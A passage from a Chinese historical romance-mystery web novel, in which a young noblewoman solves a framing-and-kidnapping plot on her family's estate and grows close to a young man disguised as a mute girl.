他的脸被风吹的发红,嘴唇干裂,气还没喘匀,可见是一路策马狂奔而来,未曾停歇。
“于伯,你先坐。”
于伯急走两步上前问,“小姐怎么受伤了?”
乔亭雪安抚道,“小划伤,于伯一路赶来辛苦了,缓缓再吃些吃食之后把人带回去吧。”
乔杳杳笑嘻嘻朝于伯露出乖巧模样,他提着的心放回原处,长舒一口气,作揖跟着士兵下去歇息,真的,把他吓坏了。
乔杳杳继续审问李从方父子,这次问的是李管事。
“庄子上的账本我看过一遍,李管事是从前年开始做假账的,当了这么多年,早不贪晚不贪为什么偏偏是前年?”
李管事垂眸答道,“犬子去年在赌庄欠了钱,一开始只是为了还账。”
“后面却一发不可收拾了,是吗?”
李管事不语。
乔杳杳看了看姚淮序,对方心不在焉,她又问,“那李管事今
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日绑我想必也是临时起意的吧。可是有人在背后指点?”
李管事此刻才意识到,站在自己面前的绝不是一个娇气小姐,她有她自己肚量、心计和谋略。
“确实,有仆人捡到一张纸,那纸上说只要绑了三小姐要挟中州关的士兵定能安然无恙过关,只要到了中州……”
“是要到了中州,乔家就鞭长莫及了,是吗?”
李管事狡辩,“我们不曾想伤三小姐,只想保命。”
乔杳杳避而不答,接着问道,“绑架我们的人可是夫人一手安排?”
李管事点头。
“最后一个问题,李管事,有人说过你的夫人和吴管事的夫人,有些肖像吗?”
他哆嗦着唇,想问她是如何得知,又有什么关系,可这话怎么也说不出口,究竟是哪里出了问题?
乔杳杳坐回自己位置,空留李管家发愣。
“没什么问的了?”乔亭雪问乔杳杳。
乔杳杳浅抿一口茶,“没有了。”
李管事回神,他想明白了,直喊道,“不,小姐,小人知错,小人愿意将知道的一切都告诉小姐。”
他朝乔杳杳磕头,乔杳杳不理睬,给姚淮序剥橘子也不做回应,乔亭雪挥手让人把李管事带下去可李管事却在此刻疯狂挣开士兵不住磕头喊道,“是吴管事,是吴管事,一定是他,小人愿意将知道的一切都告诉两位小姐,这两年的钱财所藏全部都告诉乔家,只求饶我们一命。”
乔亭雪打断,“李管事,乔家犯不上缺你那点东西,这么多年的老管事了,我也给你留些体面,有什么话明日去衙门见了主审官再说吧,至于你们该如何处置,自有法度计量。”
“可三小姐说……”
乔杳杳狡猾笑道,“李管事,你对乔家误解太深。国有国法,家有家规。国有法度,我又怎么敢轻易放你们?该是什么就是什么,李从方没杀人是该放,可你们绑架行凶又是另一码事。
乔家忠善,却从来都不是你们贪财、绑架、肆意妄为犯下大错的借口和理由。”
李管事颓废瘫坐在地上,被士兵架走,李从方也仿佛才接受此刻所处境遇,失魂落魄。
帐内又只剩了她们三人,乔亭雪等着乔杳杳自己开口捋清头尾,可她却熟视无睹自顾自地喝茶吃点心。
乔亭雪失笑,这个好妹妹,连自己都算计。
“说吧,想要什么?”
听到这句乔杳杳眼睛发亮,立马答道,“想必阿姐也看出我是如何聪慧,待来日事消,想请阿姐帮我求求母亲。”
“还想管那庄子?”
“嗯嗯嗯嗯。”
乔亭雪好奇,“母亲许了你什么好处?”
“年末账清还有盈余的话便将庄子划给我。”
“不止这个吧?”她道,“那你如何报答我?”
“可以不去书院,”她笑嘻嘻举起三根手指,“不给阿姐找人家。”
“书院要去。”乔杳杳垮脸,刚想开口反悔又被威胁,
“不想要庄子了?”
17. 水落石出;那才是真的你
乔杳杳一咬牙,留得青山在,不愁没柴烧。先保住去庄子的自由权,书嘛,读读又死不了人!
痛快成交,把她分析的事情一五一十娓娓道来。
庄子上三个管家有两个都是怕事贪财之人,李管事最是会阿谀奉献又是三人主事的那位,按理说能当的起大局但恰恰相反,他虽有心而力不足。
从他贪财是为了给他儿子还赌债便可看出,不到万不得已是不会做极大风险的事的。
所以绑架乔杳杳是临时起意,可若是临时起意吴管事又怎么会知道?一定是有人在背后出主意再加上旁人怂恿,故而挺风走险绑了她们,吴管事出现的蹊跷、拦路拦得蹊跷,这是其一。从李管事的反应看更能应证这一点。
其二就是吴管事的手上抓痕和指缝里的泥巴。乔杳杳刚开始没多想后面李从方手上竟然也有抓痕,再后来吴管事家里也有三月春,桩桩件件,太巧。
其三还有一个点是乔杳杳有些奇怪的,庄子上的人都说李管事和吴管事的夫人长的有些相似,这本就是个闲话无可厚非没人当真,可这个闲话却让乔杳杳不禁怀疑起李夫人。
李从方的手帕绣名字这一事必定是家中母亲所提,可为什么要给自己儿子的手帕绣名字呢?这不是空留把柄埋下隐患吗?一开始乔杳杳想不明白,后来换了角度想,要是故意绣呢?就是为了让人发现是他做的呢?如果把李夫人也算作吴管事埋得一环,这么一想,便是通的。
李夫人实在是可疑,庄子上的人都说她与吴管事夫人从未出现过同一场所,而且性格迥异。今日逃命的时候她更像是提前预料到李管事会失败干脆不露身,她和吴夫人有关系吗?
如果给李管事指点的那人是吴管事,在一旁怂恿的是李夫人,那就有关系了。
极有可能李夫人和吴夫人就是同一人,她们两人从未在同一场所出现过,又长的相似。如果吴管事打算设计陷害李管事,先埋下李夫人这枚棋子,又种下帕子这条暗线,待东窗事发乔杳杳手握证据时再推李管事一把,顺理成章李管事绑架乔杳杳。
那李家柴房的粘土的小锄子便是吴管事和李夫人共谋的一个见证,想必当时两人都在。
吴管事这么做是为什么乔杳杳不知道,但刘氏夫妇为什么隐瞒春娘的死她倒有个推测。
李嬷嬷打听到刘氏夫妇之前走丢过一个男童,而在春娘死之前不少人也曾说刘氏夫妇曾自己承认那男童有了消息。这个消息可能是吴管事提供要挟刘氏夫妇不要说出来真相的筹码,据李从方所说,他并没有一直纠缠春娘,那春娘哪里得帕子?
乔杳杳醍醐灌顶,是吴管事埋的。
局外有一人这是肯定的,李管事也承认有这人的存在,如果把所有箭头都指向吴管事,那一切都说得通了。
根本没有吴夫人,那是一个人。
所以吴夫人总是回家探亲其实大多时候都在李家。而庄子里说吴、李两位夫人性格迥异不过是掩盖两人是一个人的事实。
他先是安插李夫人,后引导李从方遇见春娘,同时掌握刘氏夫妇走丢男童的消息,在春娘死后埋下帕子,在乔杳杳扮鬼时让李从方路过撞见,叫乔杳杳发现帕子,两相对比得出凶手。
此时再对李管事煽风点火,怂恿李管事绑架乔杳杳,借糖水果子名头让李管事的计划顺利完成。
所以乔杳杳一开始就想错了,刘家夫妇不是因为春娘名声不敢说,是因为那男童的消息选择沉默。
他们都敢坚决拒绝李管事的提亲应当是不怕的,可是却为了走丢十八年的儿子缄默。
吴管事和李从方身上拿处位置一模一样的抓痕同样是最好的证明,春娘确实是把凶手告诉了她们,但不是帕子,是抓痕,吴管事为了掩饰故意让人把李从方也抓伤。
她太信任吴管事了,想来真是处处蹊跷,从开头就有苗头。
乔亭雪听完乔杳杳这一顿分析良久都没说话,姚淮序微微惊讶,但不得不承认,这与他想的别无二致,吴管事设局细致,没有留下任何证据可以指摘,那把伤害春娘的刀也不翼而飞,但只要找到李夫人和刘氏夫妇佐证,再加上查清赌坊一事,那吴管事便是插翅难逃。
可吴管事会留这么大破绽等着他们去寻吗?刘氏夫妇还在庄子里!
“姐姐,刘氏夫妇还在庄子里,吴管事可能对他们不利。”
从未插嘴的姚淮序此刻拉住乔杳杳的衣裳,用手沾水写道,“不会,我们,沉月,平安。”
乔杳杳琢磨,也是,若是想杀人灭口那他们现在也不会平平安安坐在这里。
乔亭雪将两人互动尽收眼底,适时问道,
“元娘,吴管事为什么这么做呢?”
乔杳杳想过这个问题,但她不知道。
乔亭雪道,“父亲应该知道此事了……”
两姐妹醍醐灌顶,父亲!是冲父亲来的。方大人停留这么长时间不走就是想寻乔家由头怪罪的!哪有送亲队伍一直待在半路的例子?这是故意的!多大的事情都无所谓,只要有个苗头就行。
到时候公堂对证,只要吴管事在把锅甩给乔家,就说乔家苛待怀恨在心,不仅会让乔家落下不好名声同时也能递给方大人,递给朝廷一个由头。
朝廷,是要往北郡送人!
乔杳杳也想通其中关键猛然起身,“阿姐!这怎么办,我……这下惹了大麻烦。”
乔亭雪是主心骨,她抚摸乔杳杳头发,声音平稳安抚道,“没事,我现在让于伯带你们回去,你把事情一五一十给父亲讲明白,知道吗?”
“知道,阿姐放心。”
乔亭雪没忍住,会心一笑,她家元娘,不知不觉已经如此聪慧,她印象里那个爬树掏鸟蛋、斗蛐蛐的元娘好像长大了。
被挟持不哭不闹还敢跟人对峙,细心分析抽丝剥茧凭借细碎线索便能想通其中关窍,真是,好生勇敢,好生厉害,好叫她欣慰。
姚淮序不自在,用食指和拇指来回搓捻指
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尖水渍,他算到了,但没办法,要是一开始就告诉乔杳杳吴管事不正常也许可以避免,但是不行,他要借这个契机进乔府。
于伯驾马车,身旁还有乔亭雪安排的士兵护送,乔家接下来,有的忙了。
姚淮序闭目养神,乔杳杳想了想,率先打破僵局,从被绑到现在姚淮序状态都很不好,没有明说,可乔杳杳就是知道。
姚淮序有一双会说话的眼睛,大多数时候里面都是春光,有乔杳杳喜欢的恣意、轻快,整个人有时候还会透露出一种散漫,偶尔氤氲迷茫。
乔杳杳之前问过沉月能不能看出来,沉月说,都是她自己的臆想。
她可不信。
“姐姐,我阿姐今日一时着急才对你说那些话,你别生气。她就是太担心我了。”
姚淮序没动,仰靠着车壁掀开眼皮看她,半响轻轻一拽乔杳杳的衣摆,迅速收手,表示他知道了。
乔杳杳笑弯起月牙,一晚上心惊胆战,她现在半点睡意都没有。
她撑着下巴看她,道,“姐姐,其实你装淑女很差,一眼就能让人看出来你不喜欢那么端着,像我一样,骨子里就不是,再装也装不像。”
这句话一出姚淮序也不假寐了,直直盯着她,眨巴眼睛略微慌张,看她还能说出来什么,难不成,知道他是男子了?不能吧!端庄淑雅,他做的明明很好!
姚淮序盲目自信。
乔杳杳肉眼可见地很高兴,眉飞色舞,仿佛大局在握。
“姐姐,装大家闺秀有什么好?虽然读书可大多都是女戒,读夫子史经的少之又少,她们要笑不露齿、生气也不能发作,受到委屈明明火冒三丈却还要端着架子道一句无事,不累吗?
要我看,做你自己才最好。我喜欢你吃很多饭长一个高个子,喜欢你力气大像阿姐一样能扛起银枪,还喜欢你手起刀落打晕李从方的自信张扬,最喜欢你散漫躺在摇椅里……”
姚淮序一把捂住她的嘴,耳朵发烫,眉头紧皱,渍,乔元娘会不会说话?
乔杳杳还是笑,伸手握住他的手从嘴上拉下来,“那才是你,灵动的你。我知道你是谁也知道你为什么这样做,但是你不要担心也不要害怕。”
她把食指竖在唇边,“我不会说,乔家也不会说。庄主对我有恩,对乔家有恩,我们会保护你的。你有什么想做的尽管去做,我会帮你。”
两个人盯着对方看了许久,就到乔杳杳都要怀疑下一秒姚淮序是不是也要把自己打晕时,终于,姚淮序点头。
乔杳杳把右手手指指尖对准他右手的手指尖,相错,落在指缝,十指相扣。
姚淮序不可置信,连忙挣脱,未果,惊讶之余茫然无措,又慌张,乔杳杳乐道,“姐姐,不用藏,该怎样就怎样,快活一些做自己吧!这里是北郡,没有那么多规矩,它和山庄一样,能养出最自由的鸟儿和最潇洒的女娘。”
姚淮序心想,我可不敢!
“还有,不要悲伤。”
18. 海压竹枝低复举,风吹山角晦还明
乔杳杳说这话时十分诚恳,黑眸里铺满碎星星,马车本就暗,周围什么都看不清,可姚淮序还是能清清楚楚看到她眼睛里的亮光,喉咙滚动,想说我没有,可他现在是个哑巴。
他忽视那只手传到心里的触觉,用另一只手在乔杳杳手心里写字,“我没有。”
还没写完乔杳杳这只手也抓住他的食指,声音就像羽毛落在水面,
“可是,你快要哭了。”
没有半点揶揄,要把一颗心捧出来给他看,羽毛顺着食指飘到心里,如此诚挚。
乔杳杳的眼神太过热忱,流露出的心疼也不知道是为谁,姚淮序缴械投降,将头偏向一侧,他才没有。
乔杳杳也不逼他说点什么,就自顾自道,
“人生在世不过三万多天,悲欢离合,喜怒无常。大多时候都是无能为力的,比如说天降灾难、飞来横祸,皆非人力之所可以敌。
‘天将降大任于斯人也,必先苦其心志,劳其筋骨,饿其体肤,空乏其身,行拂乱其所为,所以动心忍性,曾益其所不能。’
夫子总是这么讲,可我有时候就怀疑夫子到底有没有尝过求而不得、无能为力、束手无策之感。
有时候我们做的很好了却还是没有达到预期,是因为我们不够好吗?不是的,我们太好了,我们真诚勇敢善良,遇到困难不退缩。
人有逆天之时,天无绝人之路。
从先生很烦,但我很喜欢他的一句话,‘君不见长松卧壑困风霜,时来屹立扶明堂’”
少女的眼眸发亮,能照亮整个车厢和姚淮序的胸膛。
“姐姐,你很好,不是你的错。
海压竹枝低复举,风吹山角晦还明。不嫌屋漏无乾处,正要群龙洗甲兵。
她字字缓慢却讲得清楚明白,“十年之仇,君子不晚。”
姚淮序呼吸一滞,眼前少女认真,没有半句玩笑。
乔元娘,和别的女儿家都不一样。
她不喜读书爱玩闹却知道“山重水复疑无路,柳暗花明又一村”,她娇纵蛮横却又心思细腻知他心中所想、所悲、不得已。
马车里没了声音,不过几刻于伯就在外喊道,
“三十年河东,三十年河西,莫欺少年穷!”
姚淮序眼里都是眼睛弯成月牙的少女,不想错过她的一举一动,随后抽出一只手弹她脑门,不轻不重,少女闭眼却不躲。
她笑,他也笑,姚淮序的心渐渐平静,思绪慢慢回拢,他没有再挣扎,另一只手被乔杳杳握在手里十指相扣,眼里含笑,嘴角上扬。
三十年河东,三十年河西,莫欺少年穷!
马车走得慢,十分平稳,后半程乔杳杳在马车上睡着迷迷糊糊,姚淮序把唯一一件毯子盖在她身上,头靠车壁浅眠。
到乔府已经是黎明时分,
乔青松着急,马车没停稳就上前推马车门,还没碰到就让乔夫人拽了一把,“苏姑娘还在马车里,别丢了规矩。”
于伯停稳车道,“两位小姐应该是睡着了。”
乔青松蹙眉,拍打马车门,“元娘?元娘?”
乔杳杳下意识撩起车帘露出惺忪睡眼,乔青松一看妹妹脖子上裹着白布,不安道,“怎么受伤了?”
乔夫人心一紧,“受伤了?”
姚淮序早就醒了,他跟乔杳杳一同下马车,乔杳杳被乔青松围住左看看右看看,还要扯下布条看脖子上的伤。
“划了一下。阿姐给包扎了。”
“你阿姐一切可好?”
“母亲放心吧。”
乔夫人看自家姑娘没事松一口气,又看到姚淮序在一旁略显孤单,上前关心道,“苏小姐可好?有没有哪里磕着碰着?有没有哪里不舒服?叫郎中来看看?”
姚淮序没想到乔夫人如此热情,本想端庄着摇头又想起昨晚上乔杳杳的话,莫名其妙自己就笑了,顺势摇头。
乔夫人彻底放松下来,“那就好,那就好。”
“天成,别在这里拉着元娘看了,回去仔仔细细再看吧。”
“母亲——我想吃杏子酪。”乔夫人故作嗔怪点她脑门,
“看来阎王门里走一遭还是没把你吓坏。”
姚淮序算是知道这弹脑门乔杳杳是跟谁学的,原来是家传。
几个人说了一会儿小话姚淮序就装作很累的模样,乔夫人心细,先让丫鬟带他去桃阁休息,一应物件儿早就备好,只等人来。
姚淮序跟在丫鬟身后默默几下乔府沿廊、小路、假山……
没过多久就到了桃阁,怪不得叫做桃阁,里面种了一排桃树,半开半谢,风一吹又是一阵花落。让他想起小院儿的梨树,风一吹,遍地梨花。
不用说,这肯定是乔杳杳的小院儿,院中的摇椅扶手明亮,一看就是主人经常使用。
姚淮序打发走侍女迅速洗澡换上一身衣服打算去乔万屹的书房瞧瞧。
乔杳杳和母亲、哥哥说她所有的猜想,乔青松一语谶破,恐怕这不是个简简单单的案子,吴管事背后大概率是盛京的人,至于是方大人还是张大人还是谁,不可而知。
乔夫人重新给乔杳杳上了药,她欲言又止,乔夫人问,“怎么了是?还有什么没说?”
“母亲,那公主还在北郡?”
乔夫人点头,“住在驿站,这两日乔府都忙不过来,昨日她也在府上,听说你出事
想必这两日不会来打扰,你也安分些少去街上转悠,就怕你这性子冲撞了公主。”
“公主不是和亲吗?怎么一住住这么长时间?”
乔青松也在,漫不经心道,“不愿意呗,过了北郡就离盛京越来越远,到了边州那边更远。一望就是草原。嘉德三十八年朝廷借锦州兵力命沈乔两家击退草原人,盛州许了锦州姻亲之好却没给兑现过,人锦州不屑于点破,不过这草原,盛京倒是上赶着送。”
“天成!”
乔夫人呵斥他,乔青松自知失言讪讪笑了笑,也不再说,乔杳杳转话题问,
“父亲呢?”
乔青松解疑,“天刚亮就带着程伯去庄子上了,还有……方大人。”
“好了好了,快回来沐浴睡会儿吧。”乔夫人催促她离开,暗地里睨自己儿子一眼,祸从口出!
乔杳杳试探问,“母亲,那庄子……”
乔夫人扶头略显疲惫
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,“庄子你就别想着去了,安心上学堂。你父亲要亲手接管。”
乔杳杳不再说,牵扯到盛京就不是小事。
但让她上学堂这事也得放放,她不想去。
天光大晴,沉月抱着乔杳杳哭完早就烧了热水给她备好沐浴用的各种东西。
洗澡之前乔杳杳非要拉沉月手,沉月受宠若惊,
“小姐!我就知道你最喜欢我了!”
乔杳杳呵呵一笑,“阿序姐姐的骨节更分明些,比你的好看。姐姐呢?”
下一秒沉月就垮着脸沮丧道“睡觉了”,说完就出去烧热水。
乔杳杳就乐,舀一瓢水从肩头淋到手腕。
“沉月,不要这么小气嘛。你最漂亮啦!”
应该是习武的缘故,清序姐姐的手还要大一点,硬一点。
“沉月姑娘,三小姐的杏仁酥好了,另外厨房还做了甜奶粥,不过厨子拿不准要不要再放点别的,有几样吃食还得你去给姑娘挑挑。”
沉月驻足,“这有什么好挑的?李嬷嬷呢?”
小厮笑道,“老张也想多给小姐安排点嘛,李嬷嬷被夫人叫去了主院儿。”
沉月手里还端着给乔杳杳澡盆添的热水,“那你等等,我马上来。”
“沉月,一会儿添,先去吧。”乔杳杳趴在木桶里浑身懒洋洋地舒展,要眯不眯地瞌着眼。
沉月应声而去,走之前还是不放心吩咐其他丫鬟,谁知那丫鬟突然闹肚子,马上要进去添水结果闹了肚子,眼睛一瞥就看到姚淮序。
看着姚淮序脸生没成想是客人,只以为是院子里的新人,来不及多想匆匆拜托后慌忙而去。
乔府不小,有本事的人也不少,他换了衣服打算探一探,还没潜进去就让人听见了动静,还好有只猫做掩护,他撑着栏杆一翻避开小厮丫鬟回到桃阁。
看来得让乔杳杳带他去,正想着就遇上那丫鬟,眼下正端着一盆热气腾腾的水一脸难言地站在乔杳杳屋门外边。
就,挺,无语的。
瞌睡来枕头,这么来的吗?姚淮序犹豫是扔了这盆水还是扔了这盆水。
又想起那丫鬟匆匆说的那句,“把小姐的衣服给她拿到内室,不要让小姐着凉了。”
就挺,崩溃的。
姚淮序觉得乔杳杳遇上自己也太有福气了吧,哪里有他这么好的“客人”还伺候主家。
“沉月?沉月?”乔杳杳趴在浴桶上,水凉了她要出来。
叫了半天没人,刚想自己起身就听见一道推门声,却没人说话。
“阿序姐姐?”
来人敲三声木板。
“你把屏风上的衣服递给我吧。”
姚淮序背对着屏风,把手里的澡盆放下,将手背伸至身后屏风上胡乱拿起挂着的衣服就往后递。
“我够不着。”
渍,麻烦。
姚淮序拿手捂着眼睛直直又往前走一步,两人隔着屏风,乔杳杳趴着没动,等再靠近些才大发慈悲伸手接过。
那人如释重负,不曾想下一秒乔杳杳抓住他的手,湿气从她的手上传到他的手上。
姚淮序如惊弓之鸟。
19. 大福对二福的喜欢,喜欢的不得了
他使出十成十的力气将手抽回,却没想到一抬手胳膊肘撞翻屏风,竟然直直朝乔杳杳砸去,电光火石之间他伸手去抬屏风,可还是迟了一步。
屏风一角砸在浴桶边,发出闷哼巨响,接着砸在地上,姚淮序跟着屏风磕在浴桶边摔在地上。
再睁眼,乔杳杳藏在浴桶里只冒一个湿漉漉的脑袋看他,还打算伸手扶她,随着她的动作半个肩膀从浴桶露出。
姚淮序什么都顾不上,脸涨得通红还流鼻血,连滚带爬拿乔杳杳手里的衣服胡乱盖住她脑袋,趁机一溜烟跑出去还不忘记关好房门,要多慌张有多慌张,简直就是落荒而逃。
乔杳杳将干衣服从头上扒拉下来,回想刚才的事情,靠在浴桶里拿手捂脸笑个不停,原来阿序姐姐这么害羞啊!
她是乐了,姚淮序却开始犯愁。
顶着院里人奇异目光愣是没让人靠近屋子,回自己房间先拿帕子把鼻血擦掉,又想起乔杳杳没有干净衣服开始犹豫要不要回去送衣服,一番挣扎最后给沉月送了字条。
之后还在自己门贴上“勿扰”两字。
乔杳杳听沉月描述姚淮序一脸难为的样子,乐得在床上直不起腰。
吃了东西彻底午睡后乔杳杳才起床,又懒洋洋躺在那张摇椅里,姚淮序的房间安排在她院子左侧,一推窗户就能看见少女在摇椅上闭目养神。
这一布局倒是和庄子上小院一样,一推窗就是桃阁院子正中,不一样的是邻靠窗户的是书案而不是侧榻。
一缕桃花香携风入窗,乔杳杳一把掀开开窗户趴在窗柩上,日光投射下一片阴影落在宣纸里。
“没想到姐姐是个爱读书的啊!”
冲击力太强,姚淮序还没缓过来,伸手去关窗户,乔杳杳却一手挡住半个身子趴了进来,自然而然伸出胳膊去拿笔架上的毛笔,蘸了黑墨就着桌子上的宣纸写道,
“春光作序,万物和鸣”
姚淮序不用抬头就能闻见桃花香气,余光瞥到乔杳杳的蝴蝶发髻,眼睫忽闪忽闪拍打在脸上。
原来也可以是“春光作序”他本来的序是“帝日攸序”的序,现如今才知道也可以是春光的序。
她的字写得不漂亮,和姚淮序的倒正正好相反,两厢迥异的字落在一处竟意外和谐。
姚淮序控制不住去瞧她,少女歪着头写得高兴,这是整个院子里最亮的春光。
她半点不提上午的事情,写着写着还摇头晃脑,姚淮序忽然心至福灵,写道,“你喜欢我吗?”
乔杳杳的笑像是浸过蜜饯般甜蜜,“我当然喜欢姐姐呀!”
姚淮序的心就像有一百个小人拿着鼓槌在敲,握着笔的手松开又攥紧,看乔杳杳的目光从一开始的试探、隐隐的期待变成无措。
他又补充道,“是喜欢,那种喜欢。”
乔杳杳问,“哪种喜欢呀?”
姚淮序想了想,“大黑对二福的喜欢。”
大黑和二福是庄子上的两只小狗,一公一母,乔杳杳没想那么多,只以为是说两只小狗玩得好,是好朋友。
“那我也是,喜欢姐姐喜欢的不得了。”
姚淮序没有了下半句,墨汁滴在纸上,晕出一块儿。
乔杳杳喜欢苏清序,苏清序是他。
左手摸摸纸角又摸摸发髻,一脸愁容,百思不得其解,这可怎么办啊?!
李嬷嬷从主院回来,站在桃阁门口喊道,“小姐,将军叫你去书房考教功课。”
乔杳杳回头,“啊?现在吗?父亲不是刚回来吗?”
姚淮序瞬间抛开“儿女情长”大手一挥写下“去”,恨不得贴在乔元娘脸上。
乔杳杳往后躲,“干什么呀姐姐?”
姚淮序正气凛然拿出第二张纸,“人无文章则无用。”
乔杳杳朝李嬷嬷挥手,“不去,你就告诉父亲说我觉得他太累了,该好好休息休息!”
姚淮序使出杀手锏,“庄子。”
乔杳杳被这么一提醒立马改口道,“嬷嬷等等,拿书,我去!”
她转身去寻笔架放笔,再一抬头姚淮序已经抱着书立在桌前,意思不言而喻。
穿过走廊,乔杳杳问,“姐姐,我父亲很好说话,不用担心。问什么答什么就行。”
她以为他想找乔万屹说山庄的事情不知怎么开口,一路上一脸严肃。殊不知姚淮序就纯想去探探路,看看有没有什么藏东西的地方好下次去“暗访”。
但他又不能这么跟乔杳杳说,轻抬下巴胡乱点头承认借用“山庄”这个由头。
昨儿乔万屹接到消息就带着程伯去了庄子上,同行的还有方书来。
乔万屹一行人快马加鞭赶上徒步的衙役,一同进庄子,天已大黑,庄子上静谧瞧不出异常。
程伯带人去了刘家,衙役去了李管事家,乔万屹和方书来直奔吴管事家。谁知一推门,吴管事已上吊自尽,桌上留下一封遗书,乔万屹拿起遗书递给方书来,方书来却道,“乔将军是北郡的理事官员自应由乔将军来看。”
乔万屹也不推辞拆开信一目十行迅速扫完。
吴管事在信中交代了他如何让李从方背上赌债又如何杀害春娘设计乔杳杳,心思缜密,处处都能讲通,唯有文末最后一点令人疑惑,
那处落了墨汁,写道,
“吴生在庄子上兢兢业业数十年,自以为尽心尽力,但乔家不识忠奸让李家做主管事,令人心寒。
吴生在此叩首,自知罪孽深重,以死表志,谢乔家搭救之恩亦恨乔家蒙蔽双眼,望有良官严查乔家田庄。”
方书来自然也看到了“望严查乔家田庄”,他是个老狐狸,和乔万屹道,“这是乔家家事,方某便不参与了。”
乔万屹冷哼一声,不再客套,“方大人,乔家行得正坐得端,田庄更是清清白白。”
方书来笑,“自然,方某相信乔大人正直,可北郡悠悠众口难调,此事还需禀告陛下。”
前面说这是家事,后面又说需要禀告陛下,前言不搭后语,乔万屹斜睨方书来一眼,拱手道,“方大人自便。”
乔杳杳敲门,“父亲!元娘进来啦?”
乔万屹将手中银锁掩至书里,正正衣襟,清声道,“进来。”
乔杳杳笑嘻嘻推开门,少女今日一边扎着一个低丸子,两条蓝色发带垂在前襟,手腕处也绑着蓝色束带。
未见其人先见其带。
姚淮序跟在乔杳杳身后进门福身做福礼,乔万屹笑着让两人起身。
乔杳杳立在书房中央,双手背于身后,朝姚淮序的方向做拜托状。
姚淮序余光瞥到,低头致意,随后坐于乔万屹左下方。
“不知父亲今日考什么?父亲刚从庄子上回来累吗?元娘给父亲捶捶背呀!”
乔万屹随手拿起一书翻看,制止道,“元娘就不要耍那点小心思了,为父不累,今日就是考查你功课的。好好作答,苏小姐也在,别叫苏小姐瞧了你笑话。”
乔杳杳吐舌,“我才没有呢。”
乔万屹笑着放下书,“你在庄子上呆了多长时间?”
乔杳杳一愣没想到是这个问题,以为父亲还会问之乎者也之类的,下意识站直回答道,
“不足两月。”
“可有什么见闻?”
乔杳杳不知所以,认真回答道,“三位管事各有心思,庄子上的账看着杂乱其实很好理清。”
“具体说说呢?”
“李管事为人狡诈实则耳根子软,心思活络却不缜密;吴管事看着老实实则心思缜密,有城府,极能能耐;至于王管事,他是墙头草,贪财却不出头,胆子比两人稍怯懦所以他不温不火也翻不起什么浪。”
乔万屹笑了两声,看向姚淮序,“苏小姐也在庄子上,不知元娘说的对否?”
姚淮序点头,乔杳杳勾唇,心情愉快又问道,“且不说三位管事,目前庄上盈亏元娘具知,凡收益支出明细
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元娘皆可给父亲道上一道,父亲是想让我重回庄子里吗?元娘愿意!”
乔万屹摆摆手手指相扣,“这可不行,庄子被方大人查封了。元娘还是要好好读书的。”
乔杳杳撇嘴,“那父亲问这些是做什么?”
乔万屹弯着眼睛道,“看看我家元娘这两月都学了点什么,听你母亲说你还扬言道不耽误功课,既如此我便考你些书本上的,从先生老来催我也还有个交代。”
“父亲——
错了错了,元娘知错了,不买弄了,父亲饶过元娘吧。”
乔万屹看向姚淮序,“早听府上下人说苏小姐字写得好,不知可否给老夫一瞧?”
姚淮序拿不准乔万屹想做什么,总归小心应对错不了,她福礼行至书桌前,乔万屹站在一旁看他端笔游走。
起初还笑着,后脸色越来越严肃,“苏小姐心怀大志,不知今后可有何打算?”
乔万屹眼光毒辣,姚淮序再收敛仍是能让他瞧出这字里的野心与桀骜不驯。
姚淮序放柔了笔锋写道,“回首向来萧瑟处,归去,也无风雨也无晴。”
乔万屹打量她,“既如此老夫也打开天窗说亮话,苏小姐若是想报仇乔家可助苏小姐一臂之力。”
“父亲?”
乔万屹抬手止住乔杳杳的话头一眨不眨看姚淮序。
姚淮序垂首摇头,避开与乔万屹对视。
乔万屹等了一会儿道,“但苏小姐没这个意思自然也好,冤冤相报何时了,想必苏庄主的意思,乔某在此许诺,乔家会护苏小姐往后余生平安。”
姚淮序拱手做江湖谢姿,一举一动染上江湖气息,又生动三分。
乔万屹想起多年前在他接过睡着的乔杳杳朝他道谢后,苏庄主也是这么一个动作,他一人在漫天风雪中站的笔直,简单一个抱拳就能让人感受到他满腔热忱。
乔万屹伸手抚摸乔杳杳的的头,一脸欣慰,眼中慈祥,“好了,你的功课你娘会亲自考核,和苏小姐回去吧。”
出了书房,行至清华泉,乔杳杳忽而开口问道,“姐姐,你记不记得小时候我被苏庄主救了以后庄子上很害怕,一直哭一直哭,是你给我拿了桂花糕哄我才不哭。”
姚淮序握起乔杳杳的手,写道,“绿豆糕,冬日。”
乔杳杳将视线移向清华泉,听见水声哗哗作响,仰头对他笑道,“是啊,是绿豆糕。”
姚淮序不知道乔万屹发现了几分,也不知道乔杳杳觉出来什么了,但他明晚就要夜探书房。
翌日傍晚有小厮进院子问,
“小姐,公子问您今年十六岁生辰送他什么?”
“先等着,下个月才是生辰,叫二哥不要着急。”
彼时姚淮序正在给乔杳杳上药,这事本来是沉月的活,但乔杳杳非要姚淮序帮忙,他也没推脱。
两人撞进对方眼里,毫不避讳,丝毫没有骗人的半点心虚。
她之前和姚淮序说自己十四,其实已经十六岁,豆蔻年华,姚淮序也说了谎,年至十七却说小两岁。
好啊,一个两个,都是骗子。
姚淮序勾唇拿药棍从药罐里剜出一块儿,反手贴在伤口处,冰冰凉凉的药膏贴在温热的皮肤上,已经不痛了,可乔杳杳还是觉得刺激伤口忍不住想躲。
姚淮序用另一只手摁住乔杳杳的脖颈,似笑非笑,挑眉睨她。
乔杳杳呲牙一笑,抓上姚淮序的手,暗自发力。
手下力道渐重,谁也不服气。
向外眺望,小厮没走,
乔杳杳咬牙切齿道,“怎么,还有什么事吗?”
小厮道,“门外有一对儿老夫妇说想见小姐,自称是春娘的父母,姓刘。”
姚淮序动作不停,力道缓和,余光留意乔杳杳的反应,乔杳杳如常道,
“不认识,叫于伯打发了去吧。”
“是。”
姚淮序心想,这丫头真记仇。
20. 盛京物什
“元娘,你解释解释这句话。”
“纵使晴明无颜色,入云深处亦沾雪。就是说即便晴天白日没有颜色,到了云深的地方也能沾得满身雪,其实不是雪,是云。”
乔夫人一脸难尽,不可置信问道,“谁沾雪?”
乔青松在一旁提醒,“人!人!人,”
乔杳杳理直气壮开口,“老天爷。”
“哈——天成,来,你告诉她。”乔夫人手里掂量着木棍。
“这句诗是说即使天气晴朗没有下雨的迹象,但当你走到深山云雾缭绕的地方,衣服也会被水气沾湿。”
驴头不对马嘴。
“爹?今日怎么这么早就回来了?”乔杳杳惊喜道。
乔夫人下意识回头看,环视一圈哪里有什么人?!蓦地身边窜过个影子,乔夫人拎着木棍就朝乔杳杳扔去,
“长本事了你!连我都敢骗!”
棍子打的准,眼瞅着乔杳杳背就要挨上打,乔万屹一把抓住。
